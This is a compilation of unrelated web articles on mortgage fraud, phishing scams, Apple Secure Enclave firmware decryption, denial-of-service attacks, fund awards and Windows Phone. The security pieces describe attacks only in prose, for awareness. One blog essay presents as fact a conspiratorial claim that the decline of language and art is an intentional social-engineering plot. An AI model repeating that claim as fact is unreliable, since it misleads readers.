Williams was appointed President of BITS in April 2007. Previously, Leigh was a Senior Fellow at the Kennedy School of Government at Harvard University, in the Mossavar-Rahmani Center for Business and Government. While at Harvard, his research focused on public and private sector collaboration in the governance of privacy and security. Prior to joining the Kennedy School, Leigh worked for many years at Fidelity Investments in various risk management, security and privacy roles, including Chief Risk Officer and Chief Privacy Officer. His most recent position at Fidelity was Senior Vice President, Public Policy. While with Fidelity Investments, Leigh served the industry in a variety of leadership roles, including many within BITS and the rest of The Financial Services Roundtable.
A division of The Financial Services Roundtable, BITS is a not-for-profit industry consortium whose members are 100 of the largest financial institutions in the United States. Created in 1996 by the CEOs of these institutions, BITS fosters the growth and development of electronic financial services and e-commerce for the benefit of financial institutions and their customers.
TOM FIELD: What are the trends in mortgage fraud, and what should banking institutions and consumer alike know?
Hi, this is Tom Field, Editorial Director with Information Security Media Group. It is my privilege today to be speaking with Leigh Williams, the BITS President at the Financial Services Roundtable.
Leigh, thanks so much for taking time to join me.
LEIGH WILLIAMS: Hi Tom, I'm very happy to do it.
FIELD: Now. we hear a lot about ATM fraud, ACH fraud these days; they dominate the headlines. How big of a problem is mortgage fraud for banks and consumers alike?
WILLIAMS: Well, it doesn't surprise me that ATM and ACH, or electronic payment fraud, have caught people's attention. Those are fraud in channels, and I don't think they necessarily compete with their substitutes for doing fraud prevention work on products, on mortgage, or on savings accounts. I can tell you that the institutions that we work with pay a lot of attention to securing and to protecting both the channels and individual products.
So, if you think a little bit of how much of an issue this has become for everyone lately, I would say from the banking side and the consumer side that motivation is exactly the same. We recognize that one of the most important things we do is fund people's homes, and if there is anything that puts that at risk, if there is anything that either threatens their ownership of the home because someone might have stepped in and taken the title away from them, or if it delays the resolution of some other problem, if it distracts them or confuses an issue, complicates something that we have been trying to work out with the homeowner, that is bad for the homeowner. That is bad for the customer, and it is certainly bad for our institutions, too.
FIELD: Leigh, what are the current mortgage fraud trends that concern you most?
WILLIAMS: I guess I would split the answer into mortgage trends and fraud trends. So if you think about what has been happening in the mortgage industry as housing prices have moved, as volumes have spiked, as new programs have come in from both the government side and the private side to resolve all of this, it has created a fair amount of flux, and there are always criminals who look for opportunities to take advantage of those kinds of changes or that kind of flux in any marketplace. That has really caught our attention, and it has been very important to us to make sure that we don't leave that opportunity open to them.
Fraud trends have evolved a little bit over the last few years. Originally, they were about originations and applications -- sometimes people were coaxed into exaggerating their financial condition. Then some of those originations, as the originations tailed off, evolved into servicing fraud, where consumers were convinced that someone had taken over the servicing of their mortgage and their payments might have been siphoned off.
Now, as people are trying to resolve those issues, there is another that has been layered on top, and that is loan modification frauds or foreclosure scams. It is very important to us that we deal with both origination and servicing scams beginning to surface, but that were created two to three years ago, and that we made sure that we don't add any new problems on top either from the loan modification or the foreclosure arenas.
FIELD: Who do you find to be most at risk of falling victim to mortgage fraud now, whether it be an institution or a customer?
WILLIAMS: Well, even outside of mortgage fraud, I would say in fraud more generally there is a truism that people who are in financial difficulty, or people who are somehow isolated or alienated, are ripe to be victimized by criminals. And if you think about what has been happening in the mortgage arena, both of those can be true.
There are people who have had some financial difficulties over the last couple of years, and they are worried about the value of their homes. They may be unemployed and just barely scraping by, and many of those people have not been comfortable talking to their institutions. They might have gotten a little late in their payments, and they have just lost a little bit of touch. If someone steps in and promises that they can solve all of that with the wave of a magic wand or with the writing of a check, those people are going to be very vulnerable to that kind of scam.
The answer, of course one of many answers, is that we need to make sure that those people are reconnected with their lenders, that they feel comfortable working with the institutions that are our members to resolve the problems that these other people will never/can never resolve for them.
FIELD: You just released a new booklet that is entitled Be Your Own Best Advocate- Mortgage Fraud Prevention. Leigh, what are the main takeaways from this booklet?
WILLIAMS: The booklet actually has a couple of different components to it. One is one that just frames this issue where we look at the kinds of scams that are being perpetrated, the frequency with which we are seeing them in institutions or the frequency with which law enforcement is now investigating them. And the other piece is what individuals see from their perspective, what some of the red flags might be form a consumer's standpoint. So we think of it as two real threats; one is beginning to characterize this as a shared concern, and then beginning to think about what institutions and consumers ultimately can do to protect one another.
FIELD: Well, I want to break it down and ask you about the institutions and the consumers, and let's start with the former. What are the specific messages to banking institutions from this new publication?
WILLIAMS: Institutions have done a lot on this count for not just a couple of months now since our booklet has been out, but for many years. One of the things that we have tried to do is to refresh some of that work to help them understand what kinds of protections and controls they have in place, what red flags they need to watch for, how to structure investigations for the maximum effect, how to prepare and package their cases so that law enforcement and prosecutors can follow up on them. A lot of the things that institutions have been doing for years just needed to be a little bit refreshed with some new schemes in the marketplace and with new volumes and new programs that touch this area.
FIELD: Flipside of that Leigh, what is the message to consumers?
WILLIAMS: Consumers, as we said a second ago, need to make sure that they are fully connected with their lenders. These lenders know that there are certain things they can do, but they need to be working with their customers, and they are happy to do that. I would encourage anyone who spots something that is a little suspicious to contact their lender right away. Anyone who sees a promise that looks to good to be true to contact their lender right away.
And if for whatever reason, if they are a little behind in their payments or they have other issues and they are a little uncomfortable having that conversation, we have set up a separate channel so that there are people who know these issues inside and out who can help them without them feeling as if they have to talk to someone that they might owe money to. One suggestion is that they go to a non-profit coalition, Hope Now, available through their website HYPERLINK "http://www.hopenow.com" www.hopenow.com, or at (888) 995-HOPE.
There are some things that we just encourage people to stay very conscious of. There are some do's and don'ts that we published in this brochure. For example, do be honest. Be honest about your situation. Be honest about the information that you have in applications for financing or refinancing. Do pay a lot of attention to the details that are in inspections and appraisals and documents and, then again, do work with your lender.
There are a couple of don'ts in the brochure as well. One is don't either on your own or at other people's encouragement provide any false information. At the end of the day, that doesn't help the homeowner. That doesn't help the process, and puts everyone at risk. Don't sign documents that are incomplete. Every once and while someone is tempted to fill something out 90 percent of the way, let a mortgage broker or someone that might be a stranger to them fill out the rest. We would highly discourage that. Let's make sure that people do their own due diligence and that they don't let others take advantage of them.
WILLIAMS: I would say it might not be one thing, but two. The first is to do all the things that they can do themselves, to sharpen up their own controls, get employee awareness up, make sure that they follow their own policies and procedures -- the whole bundle of things that they work very hard to do, but we would encourage them to double up those efforts then.
And then a second bundle of effort is to work with everyone else. There are lots of things that can't be done by an individual institution. Some of those we do as an industry when we get multiple institutions together; some they do with law enforcement or other agencies. And as I think I have stressed, much of it has to be done with the customers. So we would say: Banks, do everything that you can on your own, and do everything that you can collectively.
FIELD: Very good, Leigh. I appreciate your time and your insight today.
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The way in which mankind evaluates his being, his nature, his potential – and consequently, his values and his actions – could be compressed into any number of terms, but for reference and simplicity these self-reflective evaluations will be encapsulated here as the Images of Man. I have abridged this definition from the source that will be used as the foundation for the conclusions below. The Changing Images of Man is a 1982 publication procured by The Center for the Study of Social Policy and SRI [Stanford Research Institute] International, which outlines the process by which mankind’s “images” (i.e. conception of his physical self, societal formation, and metaphysical surroundings) change over time, as well as how they can be potentially steered in another direction.
I’ve often found myself, particularly in the last five or six years, fielding questions from older generations in regards to the present day culture and its inability to foster sincere and productive communication. It appears evident that The Changing Images of Man addresses many of the sources behind our cultural phenomenon, and so I will attempt to describe two of these causes to the best of my ability.
Language & Abstraction
Historically, much of mankind’s group cohesion is predicated on a limited dialectic and a common linguistic foundation in an objective truth. We can observe that groups of citizens within the most productive civilizations generally held the same worldview, and were thus able to pursue a common interest with little friction. Yet this common interest often proved far less potent in the aftermath of excessive conquest or invasion. This example is not meant to serve as an argument for cultural relativism, but rather as parallels to a “viral” model in which the spread of the very idea of radical relativism becomes a kind of disassociative to the societal union; that which is highly corrosive to interpersonal trust and accountability.
One of the most critical necessities for language arises from a need to communicate complex metaphysical and philosophical abstractions. Spreading into the West from such institutions as The Frankfurt School, the critical theorist seeks to undermine these abstractions and change their conceptions in order to erode social cohesion. Though I will not describe this much further, many of us can easily observe the effects of the changes in abstraction. For example, complex ideas like gender or race are now so diluted that one almost dare not speak of them for fear of retribution. The point here with regard to The Changing Images of Man is that the confusion over language is almost entirely intentional.
It must be noted that this is not speculative. The Changing Images of Man was written by the Urban and Social Systems Division of Stanford Research Institute and was written with the intention to provide insight into ways in which mankind’s “image” could be influenced to provide outcomes that would be desirable to whichever organization gave funding and inquiry to a study on social engineering.
Aesthetic Terrorism
The field of aesthetics is one which has been debated for millennia, yet more recently, has taken strange and unpredictable turns. The deconstruction of aesthetic beauty naturally follows the deconstruction of linguistic and philosophical concepts, as a sense of nihilism overtakes the artist who has denigrated reality to the point where all is meaningless and nothing is beautiful.
What follows the complete deconstruction and eventual disregard for aesthetics is the antithesis of beauty; art which, by design, is meant to conjure feelings of disgust, shock, and hopelessness in the consumer. Where before, artistic images were meant to illuminate virtue and characterize and beautify truth, now many such images only perpetuate the notion of a relative sense of artistic appreciation.
This is not to say that art is not somewhat subjective, nor is it to say that artists ought not have their own styles and influences. It is to say, however, that on the heels of a disillusion of social trust and the abolishment of objective truth and beauty, we have gone from the stoicism of The School of Athens or the kaleidoscopic magnificence in the roots of Byzantium to the nude feminist vomiting on a canvas or the piles of rusted cans that somehow represents “the hatred of the American dream.”
The function of aesthetics here serves as a literal visual representation of the effects of the corrosion of objective concepts such as truth or beauty. If within man’s image of himself he concedes his beliefs and capitulates to radical relativism, his children and his grandchildren will suffer the consequences of his cowardice. | https://robertlundgren7.wordpress.com/tag/social-engineering/ |
When you let your employees use a mobile phone for work purposes you introduce a whole new level of threats to your company.
A vital option to protect sensitive data is using a centrally controlled system. This means that if your devices are stolen or lost your IT team the option to wipe it remotely.
You should also be performing regular audits on mobile devices to asses any security risks and depending on the user. For example, if you have an employee that travels they may be connecting to public Wi-Fi putting your data at risk.
These audits usually consist of a questionnaire given to each employee about phone usage.
2. Watch Over Employees with Access to Sensitive Data
The threat is coming from inside the house.
When people list of types of cyber attacks one area that gets overlooked are employees or company personnel. Though most people deeply trust their staff and employees often present the greatest threat to security.
For example, phishing scams can cost your company millions. They use your employee’s email account to gain access to your system and seal information.
This may seem obvious to avoid but many hackers have become more complicated. Hackers use personal information taken from social media to make these fake emails more convincing.
To prevent these kinds of attacks provide employees with safety training and regularly check to make sure that they’re following proper protocols.
3. Get Web Filtering Technology to Prevent Massive Cyber Attacks
The best way to prevent a massive cyber attack is to stop threats before they gain access to your system.
These programs monitor any URLs coming to and from your computer and prevent any unwanted access. They help stop any malware from gaining access to your computer.
They are often referred to as content control software and usually restrict what kinds of sites the user gains access to. You can set up either a blacklist or a whitelist.
A blacklist restricts access to certain sites based on parameters set up by the program. While whitelist allows access to certain sites based on a list created by the systems administrator.
More advanced filters have the option of blocking information that you send out over the internet. This prevents you from sending out sensitive information.
4. Update as Often as Possible
Threats to your cybersecurity are always evolving. And your cybersecurity business needs to keep up.
This makes it important to take advantage of new software updates. Make sure that your applications and operating systems are up to date with different enhancements and patches for bugs.
If your company is expanding and has employees working in offices across the country then your going to need a way to safely share data. Enter a VPN.
A VPN or virtual private network allows you to disguise your IP address to prevent anyone from being able to see the information your sending to others.
These should be mandatory for any employee using mobile devices and for most people it’s an invaluable part of protecting their identity online.
There are also options for anonymous collaborations that will help keep your data safe from threats. This is called a virtual data room and they are the future of cybersecurity. They provide protection for all data from bidding information to contract terms.
7. Make Password Security a Priority
Most people hate changing their password and won’t do it unless the rules are strictly enforced. But this simple step can be one of the most important in keeping your data safe from a cyber attack today.
Implementing programs like a mandatory password change every couple of months. As well as having strict rules for how complex passwords have to be can help prevent major treats from getting into your system.
You should also make things like 2-factor authentification a requirement for all employees.
9. Have Regular Security Assessments
With security, it’s easy to set up a system and then forget about it until the next massive cyber attack.
As your system changes, you become more vulnerable to new threats. You need to have a security plan in place and to schedule periodic assessments. You need to ask what is cybersecurity weakness and how can we fix it?
In fact, depending on the industry an assessment may be necessary to ensure you’re following government mandates. The Sarbanes-Oxley Act of 2002 requires regular system and cybersecurity audits.
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according to this, you meet the requirements & should be MCSE. (620 does count as an elective for MCSE.)
And yes, it does take a little while for the test center to upload the info to MS and then for MS to update their info on the MCP site, but it should show on the MCP site within a few days.
My MS transcript shows my CompTIA exams. Does any know how Microsoft knows to use the A+/Net+ as electives? Do I need to call them, or is it automatic?
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Morningstar announced nomminees for its 2012 alternatives fund manager of the year. (Photo: Ap)
In a strategy reminiscent of burlesque, Morningstar continued its slow tease on Tuesday with the announcement of its three nominees for the Morningstar Alternatives Fund Manager of the Year award.
The latest announcement followed the domestic-stock fund category last Thursday, the international-stock fund category on Friday and the fixed-income manager of the year nominees on Monday.
“There are currently 361 alternative mutual funds (as of Dec. 17) across several different categories,” Nadia Papagiannis, director of alternative fund research at Morningstar, writes in announcing the nominees. "Almost 60% of these funds launched post-2008, and the total assets in all 361 alternative funds constitute less than 2% of the entire fund universe."
The 2012 alternatives fund manager of the year nominees are:
Michael Aronstein, MainStay Marketfield (MFLDX)-“Unlike most funds in the long-short category, this fund weathered the entire 2007-2009 financial crisis (only 29 of the category’s 83 funds were around prior to 2008),” Papagiannis writes. “From early 2007 through early March 2009, the fund lost 22.8%, relative to the S&P 500’s 50% dive, by shorting financial and emerging-markets stocks early on. Then Aronstein invested in cyclical stocks and shorted long-dated Treasury ETFs in 2009 and 2010, benefiting from the stock market’s recovery.”
Team, Calamos Market Neutral Income (CVSIX)-“What drives performance in Calamos Market Neutral Income is the same as what drives performance across Calamos’ suite of convertible-bond funds–a deep research bench and decades of experience,” she writes. Team, TFS Market Neutral (TFSMX)- Papagiannis notes this fund is currently the only alternative mutual fund receiving a Morningstar Analyst Rating of Gold. “It’s also one of the oldest in the market-neutral category, sporting an eight-year track record. The fund follows a quantitative small-capitalization equity arbitrage strategy, in a $1 long/$0.66 short ratio, looking for mispricing in three broad areas: fundamental data (earnings surprises, for example), 'follow the smart money' (insider buying, for example), and order imbalances (overbought or oversold stocks, for example).” | http://www.thinkadvisor.com/2012/12/18/morningstar-announces-alternatives-fund-manager-of?t=risk-management |
A new FedEx phishing scam has been detected that appears to be targeting universities and businesses. Spam emails with the subject line ‘FedEx Delivery Notification’ are sent to users that explain FedEx was unable to deliver a package. The email claims the package was over the allowable weight limit and did not qualify for free delivery.
The email recipients are informed that in order to collect the package, they must visit their local FedEx depot in person. The package will not be released unless the user presents a label to the dispatcher, which the user is required to print.
The sophisticated FedEx phishing scam involves no email attachments, only a link. However, the link does not appear to be a malicious site. The attackers are using Google Drive to distribute their malware.
This is an increasingly common tactic that abuses trust of Google. Since the website is genuine – drive.google.com – users are less likely to believe that they are being scammed. The hyperlink will direct the user to Google Drive and will trigger the download of a file called Lebal copy.exe. An executable file that if run, will install malware.
Many people know not to run executable files, although in this case the file is disguised as a PDF and has the PDF icon. If known file extensions are not configured to be displayed on the user’s computer – which is now common- they would not be aware that the file is not a PDF.
The latest scam was uncovered by researchers at Comodo, who identify the malware as a Trojan called TrojWare. Win32.Pony. IENG that steals cookies and credentials. It is capable of stealing information from FTP clients, attempts to obtain and access cryptocurrency wallets, and extracts a wide range of user data and transmits the information to its command and control server. The malware uses various tactics to avoid detection by anti-malware and anti-virus defences.
Universities and Businesses Fall for FedEx Phishing Scam
According to Comodo, so far there have been 23 businesses, several government employees, and five university employees that have fallen for the scam. Since those businesses were protected by anti-virus software that was able to block the malware they avoided infection, although many others will not be so fortunate.
Protecting against scams like this requires layered defenses and user vigilance. Spam filters should be used by businesses to detect and quarantine spam emails such as this. Links to Google Drive can be difficult to block, as Google Drive is a legitimate website. Antivirus and anti-malware defenses must therefore be in place to detect the malicious download.
Businesses should not forget the human element of the security chain. Security awareness training and phishing simulations can help users to detect a FedEx phishing scam such as this.
Netflix Users Targeted by Scammers
A new sophisticated Netflix scam has appeared in the past few days. The emails claim users will have their Netflix membership suspended due to a problem processing the most recent payment.
The email appears to have been sent from Netflix and includes all the appropriate branding, making the email look highly convincing. The subject line is ‘Suspension of your membership’.
The email says there was a problem validating the most recent payment, and a link is supplied in the email that requires the user to validate their payment and billing information.
Clicking the link directs the user to what appears to be the Netflix website where they are asked to go through a series of steps to validate their account. The validation process requires them to re-enter their payment card information. The failure to complete the step will result in the suspension of their Netflix account.
The website contains the correct branding and looks exactly like the legitimate site. The URL is different, but the website is HTTPS and has the green padlock. A casual glance at the URL may not reveal there is anything wrong with the site.
Spam filtering solutions such as SpamTitan can detect this type of scam, but users must exercise caution as not all phishing emails can be blocked.
Users should carefully check the URL of any site they visit to make sure it is legitimate before entering sensitive information. Links sent in emails should be checked by hovering the mouse arrow over the link to find out the true URL.
An email such as this should prompt the user to visit Netflix using their usual bookmark or by typing in the URL into their browser, rather than visiting any links in the email. | https://www.spamtitan.com/blog/fedex-phishing-scam-targets-businesses-educational-institutions/ |
Q: I was recently hired as a security administrator responsible for overall information security, including log management and access review. Software that I’m testing to review user and group access requires that I have administrative access to run the discovery tasks, but I don’t. I have to ask someone who has administrative access to install and run the discoveries for me. Log management tools also require that I have administrative access. From an auditing standpoint, I know that I should be able to monitor changes that administrators make but not make changes myself. Regarding setting Group Policy in Active Directory (AD, I know that I shouldn’t be able to set policies but should be able to view security policies. What type of access do you recommend for someone in my position?
A: Ideally, organizations should employ someone to be responsible for assessing and monitoring security, but that person shouldn’t be responsible for actually administering systems. Monitoring and administrative responsibilities should be divided to serve as a separation-of-duty control.
When the same individual or group performs both types of duties, there can be tension between security and system support, and busy administrators who have no oversight might shortcut security policies and procedures to solve problems. In addition, employees—even administrators—could become malicious. Having a dedicated security person reviewing employee actions is an effective deterrent.
In your position, you shouldn’t have administrative authority because no one reviews what you do. As you’ve discovered, however, many reporting programs that provide useful information for someone in your position aren’t designed with the concept of least privilege in mind, so an administrator must supervise the execution of such programs.
As for log management, many log monitoring solutions let you collect security logs from systems on your network and put them into a separate log management server under your control. Some of the solutions I recommend are Secure Vantage Technologies’ Security Control Management Pack for MOM 2005, TNT Software’s ELM Log Manager, Prism Microsystems’ EventTracker, GFI Software’s GFI LANguard Security Event Log Monitor, and Quest Software’s InTrust. After supervising the installation of the collection agent on each system by an administrator, you shouldn’t need further access to the systems being monitored. It’s important that the log management server be in a separate forest or be a standalone server. The server shouldn’t be in a forest administered by typical IT administrators because it would be subject to tampering by the employees the server is monitoring.
Specifically, to view Group Policy, all you need is Group Policy Management Console (GPMC) and a simple, unprivileged user account located somewhere in the AD forest. The Authenticated Users special principal, to which all users in the forest belong, has read access to Group Policy Objects (GPOs) and almost everything else in AD. However, when all you have is read access, only GPMC will let you view a GPO. | https://www.itprotoday.com/security/access-levels-security-administrators-21-mar-2007 |
This could be a major blow for iOS security because of the importance of the SEP: It handles Touch ID transactions and is completely isolated from the rest of its host device. Your iPhone, iPad, or iPod has no idea what's going on in the SEP, and that means no one else does either--at least until today.
Now that its firmware code is exposed it's open season on SEP vulnerabilities.
Ever since Touch ID came out with the iPhone 5S, there has been a tiny coprocessor embedded in the main S-series, and now A-series, processor chip. That tiny coprocessor runs completely on its own--it has a separate OS, updates separately, and nothing it does is known to the rest of the device.
One of the key points of the SEP is its generation of the device's Unique ID (UID). That UID is further secured by tangling it up with an ephemeral key that changes every time the device is rebooted.
The SEP's firmware code is now open to the world, thanks to xerub's efforts. The key is published here, this GitHub repository contains what you need to decrypt it, and this one has the tools to process it.
"The fact that [the SEP] was hidden behind a key worries me," said xerub. "Is Apple not confident enough to push SEP decrypted as they did with kernels past iOS 10?" He added that while SEP is amazing tech the fact that it's a "black box" adds very little, if anything to security. "Obscurity helps security--I'm not denying that," he said, but added that relying on it for security isn't a good idea.
Expert hackers, he added, won't be stopped by black boxes. Just slowed down.
"I think public scrutiny will add to the security of SEP in the long run," xerub said, noting that was also his intention with releasing the key. It's another act in the arms race between tech companies and hackers, who poke and prod software in a way that ultimately can make users safer.
"Apple's job is to make [SEP] as secure as possible," xerub said. "It's a continuous process ... there's no actual point at which you can say 'right now it's 100% secure.'"
Decrypting the SEP's firmware is huge for both security analysts and hackers. It could be possible, though xerub says it's very hard, to watch the SEP do its work and reverse engineer its process, gain access to passwords and fingerprint data, and go even further toward rendering any security relying on the SEP completely ineffective.
"Decrypting the firmware itself does not equate to decrypting user data," xerub said. There's a lot of additional work that would need to go into exploiting decrypted firmware--in short it's probably not going to have a massive impact.
SEE: Every iOS user should update to 10.3.3 now to avoid this Wi-Fi hack (TechRepublic)
An Apple spokesperson, who wished to remain unidentified, stated that the release of the SEP key doesn't directly compromise customer data. "There are a lot of layers of security involved in the SEP, and access to firmware in no way provides access to data protection class information."
The Apple source added that it's "not an easy leap to say it would make getting at customer data possible." Rather, it makes research into the structure of the SEP possible. It's there that hackers could find flaws that allow them to continue digging deeper.
Apple does not plan to roll out a fix at this time.
There's no telling when any potential effects of the SEP's decryption could start being felt, or in what way. Ideally, Apple will release a fix as soon as possible, but failing that be on the lookout for Touch ID hacks, password harvesting scams, or other attacks that could take advantage of the decryption.
Update 8/17: Added information from a conversation with xerub.
A hacker has released what they claim to be a decryption key for the Apple Secure Enclave Processor (SEP) firmware. The SEP handles password and Touch ID encryption, and decrypting it could have serious security consequences.
It's still too early to know what the full fallout from the SEP's decryption will be, but it could open the door for password harvesting, spoofing, and other security-compromising attacks.
Decryption of firmware doesn't equate to decryption of personal data. While SEP's firmware may have been opened up your personal data isn't necessarily at risk. | https://www.techrepublic.com/google-amp/article/hacker-claims-to-have-decrypted-apples-secure-enclave-destroying-key-piece-of-ios-mobile-security/ |
Cyber security breaches have risen to unprecedented levels across the British defence industry over the last year, according to a heavily redacted government document obtained by Sky News.
Sky News previously revealed the MoD and its partners failed to protect military and defence data in 37 incidents throughout the whole of 2017, with military data exposed to state-level cyber risks on dozens of occasions.
These incidents included defence information being left unprotected to foreign states’ surveillance of internet traffic, and checks not being performed to spot sophisticated espionage malware on computer devices, according to government documents.
However, the flurry of reports recorded in a MoD initial actions document – covering all breaches and contraventions of security policy made to the Defence Industry Warning, Advice and Reporting Point (WARP) between 11 October 2018 and 21 October 2019 – has soared to 64. | https://truepublica.org.uk/newsbits/cyber-security-breaches-hit-unprecedented-highs-in-uk-defence-industry/ |
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The economic exposure of Brazil is most impacted by the fluctuations in currency rates. However, when we take a long term perspective, the Real was $0.3 in August 2002 but now on September 17, 2011 it has climbed to $0.62. There have been downward fluctuations. For instance in 2008 from a peak of $0.62, the rate dipped to 0.41. Such fluctuation can increase the economic risk to very high levels. Overall however, the Real is moderately stable. We conclude that the economic risk is moderate.
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This is the risk that a firm's equities, assets, liability or income will change in value as a result of exchange rate changes. This occurs when a firm denominates a portion of its equities, assets, liabilities or income in a foreign currency. The rating of the Real by Moody is B1 and S&P rating is BB-
When we consider the fluctuation of the Real during the last one year, we find that exactly on 17th September 2010 the exchange rate of Real was $0.59 and this has increased during the year ... | https://brainmass.com/economics/international-investment/economic-risk-assessment-425113 |
These aren’t absolute — one can certainly come up with a different set, or choose to add things to the list or remove some — and there’s overlap (say, between authorization and access control, or between privacy and integrity). But I think it’s a good list to work from.
I want to point out specifically, that “encryption” is not “security”. Encryption is a tool that can be used to establish one or more aspects of security. In fact, we generally use encryption in authentication processes, to establish non-repudiability (encryption is used in digital signatures), and to ensure privacy and integrity.
In this series I’ll also talk about some of the “threats” that computer security people try to defend against. A threat that I’ve been thinking of today comes to me from this NY Times editorial, about investigation into overloading telephone lines for a political purpose:
The Bush administration has spent a lot of time talking about mythical cases of voter fraud and election improprieties, but the New Hampshire phone jamming case was the real thing. Republican operatives hired an Idaho telemarketing firm to jam the lines to prevent people who needed help in voting from getting through. The scheme was a direct attack on American democracy.
The scheme was also what we call a “denial of service attack”, or a “DoS attack” for short. In a DoS attack, the idea is for the attacker to demand so much service that there’s little or no opportunity for legitimate users to get any. The one described in the editorial isn’t computer-related, but DoS attacks on web sites are very common, a popular way for a group to try to block a web site that it doesn’t like.
We sometimes specify a distributed denial of service attack (DDoS) — think about the difference between one phone calling repeatedly with the re-dial button, as opposed to thousands of members each calling (distributed) — but essentially every Internet DoS attack these days is distributed, so the distinction is mostly unimportant.
Defense against denial of service attacks can be difficult, because it’s often hard to determine which service requests are the legitimate ones. Rate-limiting and block-listing are probably the most common mechanisms. Certain Internet addresses (IP addresses) are known to be bad, and are blocked outright — all contact from them is discarded. Other addresses are allowed to make requests, but if they make too many requests in too short a time, they, too, are blocked (usually for some period of time, though repeat offenders might be put on a permanent block-list).
Spam can be thought of as a DoS attack: if your inbox fills with enough junk, it might be impossible to find the real mail. Worse, spam filters, designed to defend your inbox, might mis-classify some mail as spam and delete it. Spam isn’t generally meant to have that effect — something can become an unintentional denial of service attack.
Another example of an unintentional DoS attack (outside the realm of computer networks) was the carrying of small scissors onto airplanes, when they were not allowed. The TSA eventually allowed them, saying that their screeners were spending so much time confiscating scissors that it affected the time they had to screen for more important things.
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Windows Phone 7 sales will surge, leaving the iPhone in the dust, and become the second most popular smartphone operating system in the world by 2015, says a just-released report from IDC. The report didn't speculate on whether Hades would freeze over and pigs fly by that date, however.
The report has Windows Phone 7 surging to a 20.9% market share, up from 5.5% in 2011. (The 2011 figure includes Windows Mobile market share as well.) iOS, meanwhile will decline slightly from 2011 to 2015, from 15.7% to 15.3%. And Android will continue its dominance, growing from 39.5% in 2011 to 44.5% in 2015. You can see the full figures, taken from the IDC press release, below.
Windows Phone 7 sales will skyrocket because of Microsoft's deal with Nokia, says IDC. Here's what Ramon Llamas, senior research analyst with IDC's Mobile Devices Technology and Trends team, says in the press release:
"Up until the launch of Windows Phone 7 last year, Microsoft has steadily lost market share while other operating systems have brought forth new and appealing experiences. The new alliance brings together Nokia's hardware capabilities and Windows Phone's differentiated platform. We expect the first devices to launch in 2012. By 2015, IDC expects Windows Phone to be number 2 operating system worldwide behind Android." I'm a big fan of the deal between Microsoft and Nokia, and have said before that the Nokia deal is a good one for Microsoft, and the only way that Windows Phone 7 has a chance to survive.
Despite that, though, I think that the IDC report is far off the mark. To begin with, it will take two years for the Nokia transition to Windows Phone 7 to become complete. Beyond that, a single hardware supplier can't possibly give Windows Phone 7 such a sizable market share. Other hardware makers have been lukewarm to Windows Phone 7. For example, Christy Wyatt, corporate vice president of software and services product management for Motorola had this to say about Windows Phone 7:
"There were a bunch of things that we believed about Microsoft that ended up not being true, mostly about what functionality it would have in what period of time." In order for Windows Phone 7 to gain such a substantial market share, it will also have to get network providers behind it. So far, they haven't been fans. Verizon Communications Chief Technology Officer Tony Melone has said "I don't think Verizon needs the Nokia and Microsoft relationship. Right now the three OS players we see for our network are Android, Apple, and RIM."
And beyond all that, Windows Phone 7 needs to be superior to the iPhone if it's to gain so much market share. I think Windows Phone 7 is a perfectly nice smartphone OS. But it's still not as good as iOS.
For all these reasons, I don't expect Windows Phone 7 to surge past the iOS by 2015, just as I don't expect there to be an ice rink in Hades by then, or to start feasting on pigs' wings. | http://www.pcworld.com/article/223818/idc_says_windows_phone_7_will_beat_the_iphone_by_2015_will_pigs_also_fly.html |
The Nokia Lumia 900 in cyan. Windows Phone: The darling of tech reviewers and critics, but used by nobody.
Well, that's an exaggeration, but recent sales numbers for the platform aren't looking good. According to the NPD Group, Windows Phone represented 2 percent of new smartphone sales in the U.S. in the first quarter of 2012. Nielsen reported even more dire numbers, with Windows Phone nabbing just 1.7 percent market share among U.S. smartphone owners in the first quarter. Even sadder? Microsoft's older mobile platform, Windows Mobile, has 4.1% market share. Yikes. I’m one of those reviewers who praised Microsoft’s revamped mobile platform when it first launched at Mobile World Congress in 2010. I was also quite enthusiastic about the Windows Phone 7.5 update, also known as "Mango". But over the last year, I’ve become less confident that the platform will ever be a powerful competitor to Android and iOS. With Windows 8 on the horizon, what’s next for Windows Phone? Is the party over already, or will Microsoft's latest mobile operating system finally catch on among consumers? Tango UpdateThe next update to Windows Phone, Tango, is due in the next month or two. Though Microsoft hasn’t confirmed the exact timing or the additional features, WPCentral got its hands on a Tango phone. The update's new features include the ability to text multiple images, the ability to forward calls, and (finally!) the ability to use the device as a hotspot. Tango is also optimized to run on 800MHz processors. Previously, Windows Phone would only run on phones with a 1GHz or 1.4GHz Snapdragon processor. This means that Windows Phone can now run on inexpensive phones, which is both a blessing and a curse for the platform. Microsoft will be able to expand the platform's reach, especially in China and India. However, Tango still doesn't support dual-core processors. Windows Phone 8 aka "Apollo"Windows 8 has a similar look to Windows Phone 7.5 So what’s after Tango? Although Microsoft hasn't officially said anything, multiple sources have confirmed that Windows Phone 8, nicknamed "Apollo," will not be the same as Microsoft's tablet OS, Windows RT. There's also some confusion as to whether existing Windows Phones, such as Nokia's Lumia 900, will support upgrades to Windows Phone 8. Microsoft has only said that the next major revision of Windows Phone will still support the applications made for Windows Phone 7.On a positive note, those who have seen Windows Phone 8 have said good things about it. Last week at CTIA, Matthew Stoiber, senior vice president of devices for Cricket Wireless, told me the carrier is very interested in Windows 8 mobile phones. There are currently no Windows Phone 7 devices on Cricket right now, and very few are available for prepaid plans in general."We've watched as [Microsoft] developed their platform, and Windows 8 seems to us to be a very marketable version," Stoiber said. Apps: Exclusivity Vs. FragmentationThe most recent bit of actual Windows Phone news beyond rumors or speculation has been about apps. Last week at CTIA, Nokia announced a handful of exclusive apps for its Lumia line of phones, making me wonder whether Windows Phone is headed down a fragmentation path where some apps are only available for certain phones. The Lumia apps include ESPN, Groupon, and AOL Entertainment, and those particular apps will be Lumia-only for six months after their summer 2012 debut. Additionally, there will be a PGA Tour app exclusive to the Lumia for a year after its launch. Offering exclusive apps seems like a bad move for Nokia. When an operating system only makes up 1.7 percent of the market share, the last thing Microsoft needs is conflict between its device-makers.
Possible fragmentation aside, these partnerships might promote some developer excitement for Windows Phone. Right now, only about 82,000 apps are currently available for the platform—a far cry from the half-million or so found in both Google Play and the iTunes App Store. These partnerships will also encourage optimizing each app for the Windows Phone platform; one of my biggest gripes with Android apps is that many of them are iOS ports that don't take advantage of Android's features. In a perfect world, all Windows Phones would be upgradable to Windows Phone 8, Windows 8 tablets and phones would run the same operating system, and all apps would be available to all Windows Phone devices. Unfortunately, this doesn't seem like it will be the case—and Windows Phone's future as a viable competitor seems even more distant. This story, "What's next for Windows Phone?" was originally published by | http://www.pcworld.com/article/2000089/whats-next-for-windows-phone.html |
